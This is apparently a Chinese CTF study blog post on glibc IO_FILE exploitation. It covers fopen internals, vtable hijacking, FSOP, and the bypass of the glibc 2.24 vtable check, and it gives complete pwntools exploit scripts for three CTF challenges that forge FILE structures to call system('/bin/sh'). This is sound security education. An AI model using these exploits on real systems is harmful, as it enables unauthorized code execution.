IO_FILE相关利用

总结自ctfwiki

IO_FILE相关知识

基础知识

_IO_list_all是_IO_FILE_plus类型的一个指针
extern struct _IO_FILE_plus *_IO_list_all

struct _IO_FILE_plus
{
FILE file;
const struct _IO_jump_t *vtable;
};

在第一部分, file 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。file结构在程序执行,fread、fwrite 等标准函数需要文件流指针来指引去调用虚表函数。特殊地, fopen 等函数时会进行创建,并分配在堆中。我们常定义一个指向 file结构的指针来接收这个返回值。

在第二部分,刚刚谈到的虚表就是 _IO_jump_t 结构体,在此虚表中,有很多函数都调用其中的子函数,无论是关闭文件,还是报错输出等等,都有对应的字段,而这正是可以攻击者可以被利用的突破口。值得注意的是,在 _IO_list_all 结构体中,_IO_FILE 结构是完整嵌入其中,而 vtable 是一个虚表指针,它指向了 _IO_jump_t 结构体。一个是完整的,一个是指针,这点一定要切记。

struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};

借用之前总结的

源码调试

听星盟师傅讲的公开课,推荐了raycp师傅的博客,IOFILE这一部分根据师傅的博客来复现总结一下

采取libc version为2.23

以fopen为例分析一个file函数的执行流程

fopen

fopen实际上是_IO_new_fopen函数

定义位置为/libio/iofopen.c的34行

define _IO_new_fopen fopen

源码如下:

_IO_FILE *
_IO_new_fopen (const char *filename, const char *mode)
{
return __fopen_internal (filename, mode, 1);
}

步入到__fopen_internal函数 源码如下

_IO_FILE *
__fopen_internal (const char *filename, const char *mode, int is32)
{
struct locked_FILE
{
struct _IO_FILE_plus fp;
#ifdef _IO_MTSAFE_IO
_IO_lock_t lock;
#endif
struct _IO_wide_data wd;
} *new_f = (struct locked_FILE *) malloc (sizeof (struct locked_FILE));
// 分配一块sizeof(struct locked_FILE)大小的空间来装结构体

if (new_f == NULL)
return NULL;
#ifdef _IO_MTSAFE_IO
new_f->fp.file._lock = &new_f->lock;
#endif
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
// 初始化操作
_IO_no_init (&new_f->fp.file, 0, 0, &new_f->wd, &_IO_wfile_jumps);
#else
_IO_no_init (&new_f->fp.file, 1, 0, NULL, NULL);
#endif
_IO_JUMPS (&new_f->fp) = &_IO_file_jumps;
_IO_file_init (&new_f->fp);
#if !_IO_UNIFIED_JUMPTABLES
new_f->fp.vtable = NULL;
#endif
if (_IO_file_fopen ((_IO_FILE *) new_f, filename, mode, is32) != NULL)
return __fopen_maybe_mmap (&new_f->fp.file);

_IO_un_link (&new_f->fp);
free (new_f);
return NULL;
}

根据师傅的总结如下

整个__fopen_internal函数包含四个部分:

  1. malloc分配内存空间。
  2. _IO_no_init 对file结构体进行null初始化。
  3. _IO_file_init将结构体链接进_IO_list_all链表。
  4. _IO_file_fopen执行系统调用打开文件。
分配内存空间

首先分配了一块内存空间来装locked_FILE结构体

结构体成员为_IO_FILE_plus,_IO_lock_t和_IO_wide_data类型的变量

_IO_no_init对结构体初始化

初始化成员fp(_IO_FILE_plus)的值,大部分都为null

结构体链入_IO_list_all

接下来执行_IO_file_init函数

重要的是调用了link in函数,看名字就知道应该是这个函数操作了链入

void
_IO_link_in (struct _IO_FILE_plus *fp)
{
if ((fp->file._flags & _IO_LINKED) == 0)
{
fp->file._flags |= _IO_LINKED;
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
run_fp = (_IO_FILE *) fp;
_IO_flockfile ((_IO_FILE *) fp);
#endif
// 改fp的chain链
fp->file._chain = (_IO_FILE *) _IO_list_all;
// 改_IO_list_all
_IO_list_all = fp;
++_IO_list_all_stamp;
#ifdef _IO_MTSAFE_IO
_IO_funlockfile ((_IO_FILE *) fp);
run_fp = NULL;
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif
}
}

改之前:_IO_list_all指向stderr

做完link in操作后:_IO_list_all指向fp,fp._chain指向stderr

_IO_file_fopen打开文件句柄

首先会进入_IO_new_file_fopen函数

6.png

设置文件的模式之类的操作

随后调用_IO_file_fopen函数

_IO_file_fopen函数主要是调用了open系统调用,并且将文件描述符返回给fd的fileno字段

执行完函数,观察fileno字段已被填入正确的文件描述符,文件正常打开

总结

fopen首先申请内存,初始化结构体,然后链入链表,最后调用系统调用打开文件

伪造vtable劫持程序流程

由于linux中一些常见的IO操作函数都需要经过FILE结构处理,尤其是_IO_FILE_plus结构中存在vtable,一些函数会去除vtable中的指针进行调用。
伪造vtable劫持程序的中心思想就是针对_IO_FILE_plus的vtable动手脚,通过把vtable指向我们控制的内存,并在其中布置函数指针来实现,覆盖vtable的指针指向我们控制的内存,然后在其中布置函数指针(反正就是控制指针就完了嗷)

看如下代码:

#include <stdio.h>
#define system_ptr 0x7ffff7a52390;

int main(void)
{
FILE *fp;
long long *vtable_ptr;
fp=fopen("123.txt","rw");
vtable_ptr=*(long long*)((long long)fp+0xd8); //get vtable

memcpy(fp,"sh",3);

vtable_ptr[7]=system_ptr //xsputn


fwrite("hi",2,1,fp);
}

查看内存分布

找到vtable的偏移然后改掉我们控制的一片内存空间,再在内存空间里相应位置的地方改成system之类的函数即可控制程序流

vtable函数的调用情况

调用情况如下:

fopen函数是在分配空间,建立FILE结构体,未调用vtable中的函数。

fread函数中调用的vtable函数有:

  • _IO_sgetn函数调用了vtable的_IO_file_xsgetn
  • _IO_doallocbuf函数调用了vtable的_IO_file_doallocate以初始化输入缓冲区。
  • vtable中的_IO_file_doallocate调用了vtable中的__GI__IO_file_stat以获取文件信息。
  • __underflow函数调用了vtable中的_IO_new_file_underflow实现文件数据读取。
  • vtable中的_IO_new_file_underflow调用了vtable__GI__IO_file_read最终去执行系统调用read。

fwrite 函数调用的vtable函数有:

  • _IO_fwrite函数调用了vtable的_IO_new_file_xsputn
  • _IO_new_file_xsputn函数调用了vtable中的_IO_new_file_overflow实现缓冲区的建立以及刷新缓冲区。
  • vtable中的_IO_new_file_overflow函数调用了vtable的_IO_file_doallocate以初始化输入缓冲区。
  • vtable中的_IO_file_doallocate调用了vtable中的__GI__IO_file_stat以获取文件信息。
  • new_do_write中的_IO_SYSWRITE调用了vtable_IO_new_file_write最终去执行系统调用write。

fclose函数调用的vtable函数有:

  • 在清空缓冲区的_IO_do_write函数中会调用vtable中的函数。
  • 关闭文件描述符_IO_SYSCLOSE函数为vtable中的__close函数。
  • _IO_FINISH函数为vtable中的__finish函数。

FSOP

FSOP = File Stream Oriented Programming

关键点:_IO_list_all指针

在没有涉及到文件的操作时,链表是这样的:_IO_list_all -> stderr,stderr._chain -> stdout,stdout._chain -> stdin,FSOP就是伪造一块_IO_FILE_plus结构体代替原本的节点,再利用漏洞修改_IO_list_all的值为可控的内存区域

伪造之后还需要触发,触发的方法是调用_IO_flush_all_lockp函数,这个函数会刷新链表中的文件流,相当于对每个FILE调用fflush,对应会调用vtable中的_IO_overflow

int
_IO_flush_all_lockp (int do_lock)
{
...
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
&& _IO_OVERFLOW (fp, EOF) == EOF) // 判断缓冲区是否有数据,有则刷新
{
result = EOF;
}
...
}
}

在如下情况中这个函数会被系统调用

  1. libc执行abort时
  2. 执行exit函数时
  3. main函数返回时(执行了exit函数)

ciscn_2019_n_7

漏洞是可以溢出覆盖heap manager的指针,也就是相当于任意地址写

思路就是将指针写为stderr,然后直接在stderr中写,把某些字段改成system地址,vtable改为这个字段的地址-0x18(vtable的第四个字段为overflow)

backdoor()
ru("0x")
leak = int(re(12, 0), base=16) - libc.sym['puts']
libc.address = leak
echo(hex(leak))
payload = "/bin/sh\x00" + p64(0) * 4 + p64(1)
payload = payload.ljust(0x50, "\x00")
payload += p64(libc.sym['system']) * 0x4
payload = payload.ljust(0xd8, "\x00")
payload += p64(libc.sym["_IO_2_1_stderr_"] + 0x50)
add(0xe0, "lemon\x00\x00\x00" + p64(libc.sym["_IO_2_1_stderr_"]))
edit("lemon", payload)
ru(menu)
sl('4')
sleep(0.5)
sl('exec 1>&0')

人为需要计算一下,可以使用pwn_debug,使得exp构造更简单一些

backdoor()
ru("0x")
leak = int(re(12, 0), base=16) - libc.sym['puts']
libc.address = leak
echo(hex(leak))

fake_file = IO_FILE_plus()
fake_file._flags = 0x0068732f6e69622f
fake_file._IO_write_ptr = 1
fake_file._IO_write_base = 0
fake_file._IO_save_end = libc.sym["system"]
fake_file.vtable = libc.sym["_IO_2_1_stderr_"] + 0x40
fake_file.show()

add(0xe0, "lemon\x00\x00\x00" + p64(libc.sym["_IO_2_1_stderr_"]))
edit("lemon", str(fake_file))
ru(menu)
sl('4')
sleep(0.5)
sl('exec 1>&0')

glibc2.24新增保护

_IO_str_jump地址确定
pwndbg> p _IO_str_underflow
$1 = {
<text variable, no debug info>} 0x7f4d4cf04790 <_IO_str_underflow>
pwndbg> search -p 0x7f4d4cf04790
libc.so.6 0x7f4d4d2240a0 0x7f4d4cf04790
libc.so.6 0x7f4d4d224160 0x7f4d4cf04790
libc.so.6 0x7f4d4d2245e0 0x7f4d4cf04790
pwndbg> p &_IO_file_jumps
$2 = (<data variable, no debug info> *) 0x7f4d4d224440 <_IO_file_jumps>
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
print possible_IO_str_jumps_offset
break

在 2.24 版本的 glibc 中,全新加入了针对 _IO_FILE_plus 的 vtable 劫持的检测措施,glibc 会在调用虚函数之前首先检查 vtable 地址的合法性。首先会验证 vtable 是否位于_IO_vtable 段中,如果满足条件就正常执行,否则会调用_IO_vtable_check 做进一步检查。

__start___libc_IO_vtables指向第一个vtable地址_IO_helper_jumps,而__stop___libc_IO_vtables指向最后一个vtable_IO_str_chk_jumps结束的地址,所以要保证利用的手法在这个vtable段中。

直接写出利用手法如下:

fp->_mode = 0

fp->_IO_write_ptr > fp->_IO_write_base

fp->_IO_read_ptr = 0x61(smallbin size)

fp->_IO_read_base = _IO_list_all - 0x10

上面是做HOO的时候可以用到的tips

vtable = _IO_str_jumps - 8(使得_IO_str_finish函数成为了伪造的vtable的_IO_OVERFLOW,_IO_str_finish偏移为_IO_str_jumps中0x10,而_IO_OVERFLOW为0x18)

fp->_flags的最低位为0

fp->_IO_buf_base = binsh_addr(作为参数)

fp->_s._free_buffer = system 或者 og(fp + 0xe8)

通过以上构造可以使得调用(fp->_s._free_buffer) (fp->_IO_buf_base)fp->_IO_buf_base为第一个参数

babyprintf

无限堆溢出,按照如上的构造方法来构造即可

from pwn_debug.pwn_debug import *
from pwn_debug.IO_FILE_plus import *
pdbg=pwn_debug("babyprintf")

pdbg.context.terminal=['tmux', 'splitw', '-h']

pdbg.local()
pdbg.debug("2.24")
pdbg.remote('127.0.0.1', 22)
#p=pdbg.run("local")
#p=pdbg.run("remote")
p=pdbg.run("debug")
membp=pdbg.membp
#print type(pdbg.membp)
#print hex(membp.elf_base),hex(membp.libc_base)
elf=pdbg.elf
libc=pdbg.libc
def write_one(size,data):
p.recvuntil("size: ")
p.sendline(str(size))
p.recvuntil("string: ")
p.sendline(data)
p.recvuntil("result: ")
def pwn():

#pdbg.bp([0x4007f0])
# step 1 leaking libc address and overwrite top chunk size
data="%p%p%p%p%p**%p**"
data=data.ljust(0x2f8,'*')+p64(0xd01)
write_one(0x2f0,data)
p.recvuntil("**")
libc_base=int(p.recvuntil("**")[:-2],16)-libc.symbols['__libc_start_main']-240
io_list_all=libc_base+libc.symbols['_IO_list_all']
io_str_jumps=libc_base+libc.symbols['_IO_str_jumps']
binsh_addr=libc_base+next(libc.search("/bin/sh"))
system_addr=libc_base+libc.symbols['system']
log.info("leaking libc base: %s"%hex(libc_base))
#pdbg.bp()

# step 2 trigger sysmalloc
write_one(0x1000,'a')


fake_file=IO_FILE_plus()
fake_file._IO_read_ptr=0x61
fake_file._IO_read_base=io_list_all-0x10
fake_file._IO_buf_base=binsh_addr
fake_file._IO_write_ptr=1
fake_file.vtable=io_str_jumps-8

fake_file.show()
fake_file.str_finish_check()
file_data=str(fake_file)+p64(system_addr)*2

#fake_chunk=p64(0)+p64(0x61)+p64(io_list_all-0x10)*2
payload='a'*0x2f0
payload+=file_data
## step 3 overwrite unsorted->bk
write_one(0x2f0,payload)
#pdbg.bp(0x4007d2)
## step 4 malloc again, trigger unsorted attack and _IO_flush_all_lokcp
p.recvuntil("size: ")
p.sendline('1')
p.interactive() #get the shell

if __name__ == '__main__':
pwn()

houseoforange_hitcon_2016

任意堆溢出漏洞,edit可编辑size大小

# coding:utf-8
from pwn_debug import *

# sh = process("./pwn")
sh = remote("node4.buuoj.cn", 29427)
# libc = ELF("/glibc/x64/2.23/lib/libc-2.23.so")
libc = ELF("../libc-2.23.so")
elf = ELF('./pwn')
context.terminal = ['tmux', 'splitw', '-h']

cho = 'Your choice : '
siz = 'Length of name :'
con = 'Name :'
pri = 'Price of Orange:'
col = 'Color of Orange:'
ind = ''
edi = ''

def add(size, content, price, color, c='1'):
sh.sendlineafter(cho, c)
sh.sendlineafter(siz, str(size))
sh.sendafter(con, content)
sh.sendlineafter(pri, str(price))
sh.sendlineafter(col, str(color))

def show(c='2'):
sh.sendlineafter(cho, c)

def edit(length, content, price, color, c='3'):
sh.sendlineafter(cho, c)
sh.sendlineafter(siz, str(length))
sh.sendafter('Name:', content)
sh.sendlineafter('Price of Orange: ', str(price))
sh.sendlineafter("Color of Orange: ", str(color))


add(0x80, 'a'*0x68, 0x10, 0xddaa)
payload = 'p'*0x88+p64(0x21)+p32(0x10)+p32(0xddaa)+p64(0)*2+p64(0xf31)
edit(0xb1, payload, 0x10, 0xddaa) # 劫持top chunk的size为0xf31

add(0x1000, 'b'*0x10, 0x1111, 0xddaa) # top chunk掉入unsortbin

add(0x400, 'a'*8, 0x1111, 0xddaa)
show()
heap_ptr = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = heap_ptr-1640-libc.sym['__malloc_hook']-0x10
success(hex(libc_base))

io_list_all = libc_base + libc.sym["_IO_list_all"]
system = libc_base + libc.sym["system"]
binsh_addr = libc_base+next(libc.search("/bin/sh"))
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']

for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
success(hex(possible_IO_str_jumps_offset))
break

io_str_jumps = libc_base+possible_IO_str_jumps_offset # 0x3c34a0
success(hex(io_str_jumps))

fake_file = p64(0) + p64(0x60)
fake_file += p64(0) + p64(io_list_all - 0x10)
fake_file += p64(0) + p64(1) # _IO_write_base < _IO_write_ptr
fake_file += p64(0) + p64(binsh_addr) # _IO_buf_base = binsh_addr
fake_file = fake_file.ljust(0xC0,'\x00')
fake_file += p64(0)*3
fake_file += p64(io_str_jumps - 0x8) # vtable
fake_file += p64(0)
fake_file += p64(system)

file_data = str(fake_file) + p64(system) * 2
payload = 'x' * (0x540 - 0x140) + p64(0) + p64(0x21) + \
p32(0x666) + p32(0xddaa) + p64(0)
payload += file_data

edit(0x800, payload, 666, 2)

sh.interactive()

文章作者: Alex
文章链接: http://example.com/2021/07/27/IO-FILE/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Alex's blog~